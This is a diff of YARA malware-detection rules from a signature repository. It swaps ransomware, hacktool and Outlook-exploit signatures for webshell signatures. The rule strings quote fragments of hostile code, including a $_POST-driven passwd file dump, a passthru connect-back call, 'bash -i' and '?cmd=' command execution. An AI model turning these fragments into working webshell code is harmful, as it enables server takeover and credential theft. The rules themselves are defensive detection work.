+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6373-L6387"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12f9105332f5dc5d6360a26706cd79afa07fe004"
+		logic_hash = "5981f8cc1a98f799b1573cf73297383f995acf1c40f0227ac10302dc4d6fd6cc"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
-		hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$s1 = "if ($ExeArgs -ne $null -and $ExeArgs -ne '')" fullword ascii
-		$s2 = "$ExeArgs = \"ReflectiveExe $ExeArgs\"" fullword ascii
+		$s2 = "kingdefacer@msn.com</FONT></CENTER></B>\");" fullword
+		$s6 = "if($_POST['root']) $root = $_POST['root'];" fullword
+		$s12 = "\".htmlspecialchars($file).\" Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com>" fullword
+		$s18 = "By KingDefacer From Spygrup.org>" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <1000KB and 1 of them ) or all of them
+		3 of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Revil_Oct20_1 : FILE
+rule SIGNATURE_BASE_Webshell_Web_Shell__C_Shankar
 {
 	meta:
-		description = "Detects REvil ransomware"
+		description = "PHP Webshells Github Archive - file Web-shell (c)ShAnKaR.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0c85a2cc-3487-577f-bd12-e3effd8fc811"
-		date = "2020-10-13"
+		id = "966f5580-21c5-5ecf-b500-bde3d1ba4494"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_revil.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "756e49362c01abbca3208967630f09ed957e5c51956e0e5210b0167590582a82"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6388-L6402"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3dd4f25bd132beb59d2ae0c813373c9ea20e1b7a"
+		logic_hash = "9d320eed18a5d76a87cee4ea0fa9caf08f096f7eeaab55420540aa082b596e0f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4"
-		hash2 = "f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5"
-		hash3 = "f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d"
-		hash4 = "fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$op1 = { 0f 8c 74 ff ff ff 33 c0 5f 5e 5b 8b e5 5d c3 8b }
-		$op2 = { 8d 85 68 ff ff ff 50 e8 2a fe ff ff 8d 85 68 ff }
-		$op3 = { 89 4d f4 8b 4e 0c 33 4e 34 33 4e 5c 33 8e 84 }
-		$op4 = { 8d 85 68 ff ff ff 50 e8 05 06 00 00 8d 85 68 ff }
-		$op5 = { 8d 85 68 ff ff ff 56 57 ff 75 0c 50 e8 2f }
+		$s0 = "header(\"Content-Length: \".filesize($_POST['downf']));" fullword
+		$s5 = "if($_POST['save']==0){echo \"<textarea cols=70 rows=10>\".htmlspecialchars($dump"
+		$s6 = "write(\"#\\n#Server : \".getenv('SERVER_NAME').\"" fullword
+		$s12 = "foreach(@file($_POST['passwd']) as $fed)echo $fed;" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 2 of them or 4 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Gen_Unicorn_Obfuscated_Powershell : FILE
+rule SIGNATURE_BASE_Webshell_Ayyildiz_Tim___AYT__Shell_V_2_1_Biz
 {
 	meta:
-		description = "PowerShell payload obfuscated by Unicorn toolkit"
-		author = "John Lambert @JohnLaTwC"
-		id = "0235795b-6d0b-5bba-8ae6-606c3b613c86"
-		date = "2018-04-03"
+		description = "PHP Webshells Github Archive - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fdd9bae9-80f3-5200-b922-e7d194009af8"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/trustedsec/unicorn/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_unicorn_obfuscated_powershell.yar#L1-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b93d2fe6a671a6a967f31d5b3a0a16d4f93abcaf25188a2bbdc0894087adb10d"
-		logic_hash = "cb0044d5ee146213c96161d52880ce6c20d5884d57620c73f359673d4ae4b76b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6403-L6417"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5fe8c1d01dc5bc70372a8a04410faf8fcde3cb68"
+		logic_hash = "2d096baad162c0e3e01732007a3be2804155e614a8fa4cd2d5dd3a7ac808fb49"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash2 = "1afb9795cb489abce39f685a420147a2875303a07c32bf7eec398125300a460b"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$h1 = "powershell"
-		$sa1 = ".value.toString() 'JAB"
-		$sa2 = ".value.toString() ('JAB"
-		$sb1 = "-w 1 -C \"s"
-		$sb2 = "/w 1 /C \"s"
+		$s7 = "<meta name=\"Copyright\" content=TouCh By iJOo\">" fullword
+		$s11 = "directory... Trust me - it works :-) */" fullword
+		$s15 = "/* ls looks much better with ' -F', IMHO. */" fullword
+		$s16 = "} else if ($command == 'ls') {" fullword
 
 	condition:
-		filesize <20KB and uint32be(0)==0x706f7765 and $h1 at 0 and ( uint16be( filesize -2)==0x2722 or ( uint16be( filesize -2)==0x220a and uint8( filesize -3)==0x27) or ( uint16be( filesize -2)==0x2922 and uint8( filesize -3)==0x27)) and (1 of ($sa*) and 1 of ($sb*))
+		3 of them
 }
-rule SIGNATURE_BASE_CN_Tools_Xbat : FILE
+rule SIGNATURE_BASE_Webshell_Gamma_Web_Shell
 {
 	meta:
-		description = "Chinese Hacktool Set - file xbat.vbs"
+		description = "PHP Webshells Github Archive - file Gamma Web Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5b2f0d2e-a7fb-5f5a-94a9-28e851c9756e"
-		date = "2015-06-13"
+		id = "43b4fc9f-8897-5553-8846-29d307efa885"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L10-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a7005acda381a09803b860f04d4cae3fdb65d594"
-		logic_hash = "c6dae76bbda7b43eef348c61e1330405923baf724f1aa5d2b51132dde89248fe"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6418-L6432"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+		logic_hash = "1de868c4948a95272d288aeba3ac38b84bf6b33ede6b3b600b32530c85586404"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "ws.run \"srss.bat /start\",0 " fullword ascii
-		$s1 = "Set ws = Wscript.CreateObject(\"Wscript.Shell\")" fullword ascii
+		$s4 = "$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];" fullword
+		$s8 = "### Gamma Group <http://www.gammacenter.com>" fullword
+		$s15 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword
+		$s20 = "my $command = $self->query('command');" fullword
 
 	condition:
-		uint16(0)==0x6553 and filesize <0KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Tools_Temp : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Aspydrv
 {
 	meta:
-		description = "Chinese Hacktool Set - file Temp.war"
+		description = "PHP Webshells Github Archive - file aspydrv.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4fbaabd0-fbf2-56a0-94af-9deba1e7cc81"
-		date = "2015-06-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L26-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c3327ef63b0ed64c4906e9940ef877c76ebaff58"
-		logic_hash = "05fd1cb3f7c8b96ccf824013c130a0b21f43724463f8658e23239d009be7f4fe"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6433-L6448"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3d8996b625025dc549d73cdb3e5fa678ab35d32a"
+		logic_hash = "314fd671b163b9904cc78cb3a5858f5b1e3dfae9d520d5ebc545a7abd922e9f7"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "META-INF/context.xml<?xml version=\"1.0\" encoding=\"UTF-8\"?>" fullword ascii
-		$s1 = "browser.jsp" fullword ascii
-		$s3 = "cmd.jsp" fullword ascii
-		$s4 = "index.jsp" fullword ascii
+		$s0 = "Target = \"D:\\hshome\\masterhr\\masterhr.com\\\"  ' ---Directory to which files"
+		$s1 = "nPos = InstrB(nPosEnd, biData, CByteString(\"Content-Type:\"))" fullword
+		$s3 = "Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1" fullword
+		$s17 = "If request.querystring(\"getDRVs\")=\"@\" then" fullword
+		$s20 = "' ---Copy Too Folder routine Start" fullword
 
 	condition:
-		uint16(0)==0x4b50 and filesize <203KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_CN_Tools_Srss : FILE
+rule SIGNATURE_BASE_Webshell_Jspwebshell_1_2_2
 {
 	meta:
-		description = "Chinese Hacktool Set - file srss.bat"
+		description = "PHP Webshells Github Archive - file JspWebshell 1.2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "13191e2e-fbcd-5e0b-af55-cc10f2583c1b"
-		date = "2015-06-13"
+		id = "659f5c7d-0a9c-554d-a0ad-e3bcb8c5a1e9"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L44-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "092ab0797947692a247fe80b100fb4df0f9c37a0"
-		logic_hash = "e01fd60adc32be26b0940ecc127a17bfcfe2ebfcf6cefea76ba6adc61d3c18d4"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6449-L6464"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "184fc72b51d1429c44a4c8de43081e00967cf86b"
+		logic_hash = "41d937fce969a850a2e4e07eb168becc96a036317a78d620e812707be9466dfc"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "srss.exe -idx 0 -ip"
-		$s1 = "-port 21 -logfilter \"_USER ,_P" ascii
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s4 = "// String tempfilepath=request.getParameter(\"filepath\");" fullword
+		$s15 = "endPoint=random1.getFilePointer();" fullword
+		$s20 = "if (request.getParameter(\"command\") != null) {" fullword
 
 	condition:
-		filesize <100 and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Dll_Unreg : FILE
+rule SIGNATURE_BASE_Webshell_G00Nshell_V1_3
 {
 	meta:
-		description = "Chinese Hacktool Set - file UnReg.bat"
+		description = "PHP Webshells Github Archive - file g00nshell-v1.3.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5c14486d-72a2-5a18-9db0-ce0ab61fdce7"
-		date = "2015-06-13"
+		id = "61a09576-7e62-5a30-a52c-492b81b96322"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L60-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d5e24ba86781c332d0c99dea62f42b14e893d17e"
-		logic_hash = "0e534e475a5b4338aa53bea09325dd63a3d451a13b46a70b5208cabd2deecabe"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6465-L6480"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "70fe072e120249c9e2f0a8e9019f984aea84a504"
+		logic_hash = "2ecb3ce2aa43a99552fb26e610c35bdb04f4ff0dc75c867e4327d6e27eed0177"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "regsvr32.exe /u C:\\windows\\system32\\PacketX.dll" fullword ascii
-		$s1 = "del /F /Q C:\\windows\\system32\\PacketX.dll" fullword ascii
+		$s10 = "#To execute commands, simply include ?cmd=___ in the url. #" fullword
+		$s15 = "$query = \"SHOW COLUMNS FROM \" . $_GET['table'];" fullword
+		$s16 = "$uakey = \"724ea055b975621b9d679f7077257bd9\"; // MD5 encoded user-agent" fullword
+		$s17 = "echo(\"<form method='GET' name='shell'>\");" fullword
+		$s18 = "echo(\"<form method='post' action='?act=sql'>\");" fullword
 
 	condition:
-		filesize <1KB and 1 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Dll_Reg : FILE
+rule SIGNATURE_BASE_Webshell_Winx_Shell_2
 {
 	meta:
-		description = "Chinese Hacktool Set - file Reg.bat"
+		description = "PHP Webshells Github Archive - file WinX Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "97c0d9ff-6a12-57e3-8219-6c1843a03a29"
-		date = "2015-06-13"
+		id = "ebad4f2e-96c3-5cb7-b228-de3a6a39ae55"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L76-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cb8a92fe256a3e5b869f9564ecd1aa9c5c886e3f"
-		logic_hash = "db2032d5689f9fcfc446d5ebe8a6d28c6dbd8bcd1d93769ec969d76f8add4f9d"
+		old_rule_name = "WebShell_WinX_Shell"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6481-L6497"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a94d65c168344ad9fa406d219bdf60150c02010e"
+		logic_hash = "f953c297763e41d197ce186dc818b656951dfa8c855c5063fc4abb54eeefc7bb"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "copy PacketX.dll C:\\windows\\system32\\PacketX.dll" fullword ascii
-		$s1 = "regsvr32.exe C:\\windows\\system32\\PacketX.dll" fullword ascii
+		$s4 = "// It's simple shell for all Win OS." fullword
+		$s5 = "//------- [netstat -an] and [ipconfig] and [tasklist] ------------" fullword
+		$s6 = "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>" fullword
+		$s13 = "// Created by greenwood from n57" fullword
+		$s20 = " if (is_uploaded_file($userfile)) {" fullword
 
 	condition:
-		filesize <1KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Sbin_Squid : FILE
+rule SIGNATURE_BASE_Webshell_PHANTASMA
 {
 	meta:
-		description = "Chinese Hacktool Set - file squid.bat"
+		description = "PHP Webshells Github Archive - file PHANTASMA.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e7302e90-d072-599b-a8f2-bf1f21a84de9"
-		date = "2015-06-13"
+		id = "b36a7dbb-7d40-5fca-8409-c8822298005c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L92-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8b795a8085c3e6f3d764ebcfe6d59e26fdb91969"
-		logic_hash = "c440bcfda55f926354ea5e462fe1e6a0e9e9585bb1c1539c0aa0588405a46105"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6498-L6512"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cd12d42abf854cd34ff9e93a80d464620af6d75e"
+		logic_hash = "355be62807182f9a53bac20a6dead8f0a3bee83b6bdc4566502c157f16076b9b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "del /s /f /q" fullword ascii
-		$s1 = "squid.exe -z" fullword ascii
-		$s2 = "net start Squid" fullword ascii
-		$s3 = "net stop Squid" fullword ascii
+		$s12 = "\"    printf(\\\"Usage: %s [Host] <port>\\\\n\\\", argv[0]);\\n\" ." fullword
+		$s15 = "if ($portscan != \"\") {" fullword
+		$s16 = "echo \"<br>Banner: $get <br><br>\";" fullword
+		$s20 = "$dono = get_current_user( );" fullword
 
 	condition:
-		filesize <1KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Sql1433_Creck : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Cw
 {
 	meta:
-		description = "Chinese Hacktool Set - file creck.bat"
+		description = "PHP Webshells Github Archive - file cw.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "38a91464-d493-5154-86ec-e54b3e25309b"
-		date = "2015-06-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L110-L125"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "189c11a3b268789a3fbcfac3bd4e03cbfde87b1d"
-		logic_hash = "2d9ff5f130d625450e7de41832695839f0427a6186569280a224f20e89fe1d8a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6513-L6529"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e65e0670ef6edf0a3581be6fe5ddeeffd22014bf"
+		logic_hash = "52bfb14f4d5d3df787ce7782cbbee25ea1556758eed48e3001c8a3f35a541526"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "start anhao3.exe -i S.txt -p  pass3.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
-		$s1 = "start anhao1.exe -i S.txt -p  pass1.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
-		$s2 = "start anhao2.exe -i S.txt -p  pass2.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
+		$s1 = "// Dump Database [pacucci.com]" fullword
+		$s2 = "$dump = \"-- Database: \".$_POST['db'] .\" \\n\";" fullword
+		$s7 = "$aids = passthru(\"perl cbs.pl \".$_POST['connhost'].\" \".$_POST['connport']);" fullword
+		$s8 = "<b>IP:</b> <u>\" . $_SERVER['REMOTE_ADDR'] .\"</u> - Server IP:</b> <a href='htt"
+		$s14 = "$dump .= \"-- Cyber-Warrior.Org\\n\";" fullword
+		$s20 = "if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)" fullword
 
 	condition:
-		uint16(0)==0x7473 and filesize <1KB and 1 of them
+		3 of them
 }
-rule SIGNATURE_BASE_Sql1433_Start : FILE
+rule SIGNATURE_BASE_Webshell_Php_Include_W_Shell
 {
 	meta:
-		description = "Chinese Hacktool Set - file Start.bat"
+		description = "PHP Webshells Github Archive - file php-include-w-shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "89bc249d-dba0-5196-b081-ddbd029ae6c8"
-		date = "2015-06-13"
+		id = "a80ca446-6612-51b4-99a7-8a8d8e6ee196"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktool_scripts.yar#L127-L145"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bd4be10f4c3a982647b2da1a8fb2e19de34eaf01"
-		logic_hash = "b7dfc2b04e838fa3a71487287a50e183443eb62b69cd23494294f231b43baf2f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6530-L6543"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1a7f4868691410830ad954360950e37c582b0292"
+		logic_hash = "2be144060d4fdaee38214dc2eba80c2a6fd3699060d274e66356fd5a08c9be4b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
-		$s2 = "start creck.bat" fullword ascii
-		$s3 = "del s1.txt" fullword ascii
-		$s4 = "del Result.txt" fullword ascii
-		$s5 = "del s.TXT" fullword ascii
-		$s6 = "mode con cols=48 lines=20" fullword ascii
+		$s13 = "# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!" fullword
+		$s17 = "\"phpshellapp\" => \"export TERM=xterm; bash -i\"," fullword
+		$s19 = "else if($numhosts == 1) $strOutput .= \"On 1 host..\\n\";" fullword
 
 	condition:
-		filesize <1KB and 2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_EXPL_Msg_CVE_2023_23397_Mar23 : CVE_2023_23397 FILE
+rule SIGNATURE_BASE_Webshell_Mysql_Tool
 {
 	meta:
-		description = "MSG file with a PidLidReminderFileParameter property, potentially exploiting CVE-2023-23397"
-		author = "delivr.to, modified by Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
-		id = "0a4d7bbe-1e17-5240-ad0f-29511752b267"
-		date = "2023-03-15"
-		modified = "2023-03-17"
-		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_outlook_cve_2023_23397.yar#L1-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
-		hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
-		hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
-		hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
-		hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
-		logic_hash = "35c0dd37f5f563fe2cf583f71391006309c1d8843a3a71004e92c9a9d2248494"
-		score = 60
+		description = "PHP Webshells Github Archive - file mysql_tool.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a22a0a5c-a686-517e-b1f9-279edab0616b"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6544-L6556"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c9cf8cafcd4e65d1b57fdee5eef98f0f2de74474"
+		logic_hash = "611636b3fa9a3163574b18cf8eacebea9733a1ad381261387f79a532b003e8fd"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-23397, FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
-		$psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
-		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$rfp = { 1F 85 00 00 }
-		$u1 = { 00 00 5C 00 5C 00 }
-		$fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}
+		$s12 = "$dump .= \"-- Dumping data for table '$table'\\n\";" fullword
+		$s20 = "$dump .= \"CREATE TABLE $table (\\n\";" fullword
 
 	condition:
-		uint32be(0)==0xD0CF11E0 and uint32be(4)==0xA1B11AE1 and 1 of ($psetid*) and $rfp and $u1 and not 1 of ($fp*)
+		2 of them
 }
-rule SIGNATURE_BASE_EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 : CVE_2023_23397 FILE
+rule SIGNATURE_BASE_Webshell_Phpspy_Ver_2006
 {
 	meta:
